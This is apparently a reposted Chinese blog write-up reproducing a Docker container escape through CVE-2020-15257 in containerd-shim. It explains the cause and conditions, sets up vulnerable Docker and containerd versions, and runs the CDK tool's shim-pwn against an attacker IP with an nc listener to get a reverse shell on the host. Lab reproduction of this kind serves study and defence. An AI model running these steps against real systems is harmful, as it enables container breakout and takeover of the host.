Docker逃逸---CVE-2020-15257浅析

news2025/6/24 2:57:01

一、产生原因

在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

docker是使用namespace命名空间来实现隔离的,当容器使用host模式时,容器与宿主机共享一套Network namespace,此时containerd-shim API暴露给了用户,而containerd-shim通过OCI协议与RUNC通信,执行命令

 二、利用条件

1、Containerd版本在1.3.9之前

2、容器使用root用户和host网络模式运行

三、复现过程

1.下载18.09版本的docker环境

wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
tar xvpf docker-18.09.0.tgz
sudo cp -p docker/* /usr/bin

2.配置docker.service文件

cat >/lib/systemd/system/docker.service <<EOF
[Unit] 
Description=Docker Application Container Engine 
Documentation=http://docs.docker.com 
After=network.target docker.socket 
[Service] 
Type=notify 
EnvironmentFile=-/run/flannel/docker 
WorkingDirectory=/usr/local/bin 
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabled=false --log-opt max-size=1g
ExecReload=/bin/kill -s HUP $MAINPID 
# Having non-zero Limit*s causes performance problems due to accounting overhead 
# in the kernel. We recommend using cgroups to do container-local accounting. 
LimitNOFILE=infinity 
LimitNPROC=infinity 
LimitCORE=infinity 
# Uncomment TasksMax if your systemd version supports it. 
# Only systemd 226 and above support this version. 
#TasksMax=infinity 
TimeoutStartSec=0 
# set delegate yes so that systemd does not reset the cgroups of docker containers 
Delegate=yes 
# kill only the docker process, not all processes in the cgroup 
KillMode=process 
Restart=on-failure 
[Install] 
WantedBy=multi-user.target 
EOF

 启动docker

systemctl daemon-reload
systemctl restart docker

3.下载对应版本的containerd并安装

wget https://mirrors.aliyun.com/docker-ce/linux/ubuntu/dists/focal/pool/edge/amd64/containerd.io_1.3.7-1_amd64.deb?spm=a2c6h.25603864.0.0.18e876ccra9oTg
dpkg -i containerd.io_1.3.7-1_amd64.deb

下载好后查看版本 

4.下载容器并以host模式启动容器

下载容器

docker pull ubuntu:18.04

以host模式启动容器

docker run -it --net=host ubuntu:18.04 /bin/bash

5.反弹宿主机shell

进容器下载利用工具或者本机上下好传进去,攻击机提前nc监听

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz
./cdk_linux_amd64 run shim-pwn [攻击机ip] [监听端口]

成功拿到宿主机shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1086184.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网站列表页加密:三次请求后返回内容多\r

一、抓包第一次请求 url aHR0cDovL2N5eHcuY24vQ29sdW1uLmFzcHg/Y29saWQ9MTA抓包&#xff0c;需要清理浏览器cookie&#xff0c;或者无痕模式打开网址&#xff0c;否则返回的包不全&#xff0c;依照下图中的第一个包进行requests请求 第一次请求后返回 <!DOCTYPE html>…

每年高考时间是几月几号 高考开始时间

高考是高中生最重要的一个阶段&#xff0c;甚至影响着很多学生的未来&#xff0c;相信大家都很关注高考的具体时间是什么时候&#xff0c;本次将详细给您介绍高考的具体开始时间以及结束时间。 每年高考的时间都是6月7日开始&#xff0c;一共持续三天时间左右&#xff0c;但是…

Java面试题-0919

集合篇 Java面试题-集合篇HashMap底层实现原理概述javaSE进阶-哈希表 为了满足hashmap集合的不重复存储&#xff0c;为什么要重写hashcode和equals方法&#xff1f; 首先理解一下hashmap的插入元素的前提&#xff1a; hashmap会根据元素的hashcode取模进行比较&#xff0c;当…

HDLbits: Lemmings3

Lemmings又多了一种状态&#xff1a;dig&#xff0c;我按照上一篇文章里大神的思路又多加了两种状态&#xff1a;LEFT_DIGGING与RIGHT_DIGGING&#xff0c;写出了如下的代码&#xff1a; module top_module(input clk,input areset, // Freshly brainwashed Lemmings walk …

css中filter属性设置后导致页面定位失效

问题&#xff1a;app上设置css的filter属性导致定位失效。 原因&#xff1a;当在标签中使用了 filter 属性后&#xff08;body { filter: grayscale(1); &#xff09;&#xff0c; filter 就会生成一个新的包含块&#xff0c;其位置大小和所在标签一样&#xff0c;然后 fixed …

Java BIO模型分析(提供单线程和多线程服务端代码示例)

目录 一、BIO特点介绍二、BIO代码实现2.1、客户端代码准备2.2、服务端单线程处理2.2.1、服务端代码2.2.2、阻塞代码分析2.2.3、存在问题 2.3、服务端多线程处理2.3.1、服务端代码2.3.2、存在问题 一、BIO特点介绍 BIO(blocking I/O)&#xff1a;同步阻塞IO&#xff0c;在每个I…

day62:ARMday9,I2c总线通信

作业&#xff1a;按键中断实现LED1、蜂鸣器、风扇 key_in.c: #include "key_in.h"void gpio_init() {//RCC使能//GPIOERCC->MP_AHB4ENSETR | (0x1<<4);//GPIOBRCC->MP_AHB4ENSETR | (0x1<<1);//PE10、PB6、PE9输出模式GPIOE->MODER & ~(0…

经典面试题第八更---reduce的使用

前言&#xff1a; &#x1f921; 作者简介&#xff1a;我是Morning&#xff0c;计算机的打工人&#xff0c;想要翻身做主人 &#x1f648; &#x1f648; &#x1f648; &#x1f3e0; 个人主页&#xff1a; Morning的主页 &#x1f4d5;系列专栏&#xff1a;前端面…

ARM day9

src/key_it.c #include "key_it.h" #include "led.h" void key_it_config() {//RCC使能GPIOF时钟RCC->MP_AHB4ENSETR | (0x1<<5);//设置PF9 PF7 PF8GPIO输入//PF9GPIOF->MODER & (~(0x3<<18));//PF8GPIOF->MODER & (~(0x3&l…

Unity - Normal mapping - Reoriented normal mapping - 重定向法线、混合法线

文章目录 目的核心代码PBR - Filament - Normal mappingShader效果BlendNormal_Hill12BlendNormal_UDNBlendNormals_Unity_Native - 效果目前最好 ProjectReferences 目的 备份、拾遗 核心代码 half3 blended_normal normalize(half3(n1.xy n2.xy, n1.z*n2.z));PBR - Filam…

不是钉钉管理员如何批量复制公司全部人员名单到execl表格里

环境&#xff1a; Win10 专业版 钉钉V7.10.0 问题描述&#xff1a; 不是钉钉管理员,如何批量复制公司全员群里面全面人员名单 公司人员有388多个 解决方案&#xff1a; 1.打开公司全员群&#xff0c;右上角点开设置&#xff0c;点查看全部群成员 2.右侧成员一次复制几个&…

Vue-2.7自定义指令

自定义指令 自己定义的指令&#xff0c;可以封装一些dom操作&#xff0c;扩展额外功能 例如需求&#xff1a;当页面加载时&#xff0c;让元素将获得焦点&#xff08;autofucus在safari浏览器有兼容性&#xff09; 操作dom&#xff1a;dom元素.focus() 太麻烦&#xff01;…

datax同步数据简介

概述 业务中经常会用到数据全量同步和增量同步&#xff0c;用sqlDump只能全量同步&#xff0c;而且数据量大的时候很慢。 阿里的datax目前是一款不错的同步工具 环境要求&#xff1a; jdk:1.8 python:2.7 maven:3.0 3.0的python跑不起来 ps:开源版的datax的mysql驱动还是用…

“零代码”能源管理平台:智能管理能源数据

随着能源的快速增长&#xff0c;有效管理和监控能源数据变得越来越重要。为了帮助企业更好的管理能源以及降低能源成本&#xff0c;越来越多的能源管理平台出现在市面上。 “零代码”形式的能源管理平台&#xff0c;采用IT与OT深度融合为理念&#xff0c;可进行可视化、拖拽、…

【C语言】每日一题(半月斩)——day4

目录 选择题 1、设变量已正确定义&#xff0c;以下不能统计出一行中输入字符个数&#xff08;不包含回车符&#xff09;的程序段是&#xff08; &#xff09; 2、运行以下程序后&#xff0c;如果从键盘上输入 65 14<回车> &#xff0c;则输出结果为&#xff08; &…

RabbitMQ消息中间件概述

1.什么是RabbitMQ RabbitMQ是一个由erlang开发的AMQP&#xff08;Advanced Message Queue &#xff09;的开源实现。AMQP 的出现其实也是应了广大人民群众的需求&#xff0c;虽然在同步消息通讯的世界里有很多公开标准&#xff08;如 COBAR的 IIOP &#xff0c;或者是 SOAP 等&…

皕杰报表中填报控件显示模式控制问题

填报报表是指能够向数据库上传数据的报表&#xff0c;皕杰报表填报单元格支持多种控件类型&#xff0c;包括文本框、文本域、下拉框、下拉树、单选框、复选框、时间、日期、日期时间… 这些控件类型在web页面上的显示模式在皕杰报表里设置了三种模式&#xff0c;只读、显式显示…

游戏反虚拟机检测方案

近年来&#xff0c;游戏市场高速发展&#xff0c;随之而来的还有图谋利益的游戏黑产。在利益吸引下&#xff0c;游戏黑产扩张迅猛&#xff0c;攻击趋势呈现出角度多样化的特点。 在这一趋势下&#xff0c;游戏安全防护的检测覆盖率显得尤为重要。如果游戏在某一环节出现被绕过…

小白网络安全学习手册

作为一个合格的网络安全工程师&#xff0c;应该做到攻守兼备&#xff0c;毕竟知己知彼&#xff0c;才能百战百胜。 谈起黑客&#xff0c;可能各位都会想到&#xff1a;盗号&#xff0c;其实不尽然&#xff1b;黑客是一群喜爱研究技术的群体&#xff0c;在黑客圈中&#xff0c;一…

毫末AI DAY的智驾弹药:上有「世界模型」,下有3000元方案

作者 | 张祥威 编辑 | 德新 「我们的感知能力可以说能做到识别万物了。」毫末智行在第九届毫末AI DAY上抛出这一豪言。 识别万物的底气&#xff0c;源于毫末的DriveGPT自动驾驶大模型引入了通用语义大模型&#xff0c;可以对交通参与者者、道路环境等做到全面感知。 今年是智…